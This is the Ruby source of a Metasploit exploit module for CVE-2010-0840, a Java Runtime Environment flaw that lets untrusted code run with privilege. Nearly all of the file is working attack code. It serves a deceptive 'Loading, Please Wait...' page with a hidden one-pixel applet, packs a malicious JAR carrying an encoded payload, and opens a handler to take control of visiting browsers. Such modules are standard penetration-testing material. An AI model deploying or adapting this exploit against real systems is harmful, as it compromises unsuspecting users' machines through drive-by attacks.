This Metasploit module exploits a vulnerability in Java Runtime Environment that allows an untrusted method to run in a privileged context. The vulnerability affects version 6 prior to update 19 and version 5 prior to update 23.
d70326c1bf38b8c797b6f540f14b84d6bbf3dc1e21b408f1a5f1d4f8408a19f6##
# $Id: java_trusted_chain.rb 10113 2010-08-23 18:49:35Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Statement.invoke() Trusted Method Chain Exploit',
'Description' => %q{
This module exploits a vulnerability in Java Runtime Environment
that allows an untrusted method to run in a privileged context. The
vulnerability affects version 6 prior to update 19 and version 5
prior to update 23.
},
'License' => MSF_LICENSE,
'Author' => [
'Sami Koivu', # Discovery
'Matthias Kaiser', # PoC
'egypt' # metasploit module
],
'Version' => '$Revision: 10113 $',
'References' =>
[
[ 'CVE', '2010-0840' ],
[ 'OSVDB', '63483' ],
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
],
'Platform' => [ 'java' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 31 2010'
))
end
def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
paths = [
[ "vuln", "Exploit.class" ],
[ "vuln", "Exploit$1.class" ],
[ "vuln", "Link.class" ],
]
jar = payload.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0840", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html
html = "<html><head><title>Loading, Please Wait...</title></head>"
html += "<body><center><p>Loading, Please Wait...</p></center>"
html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end
end
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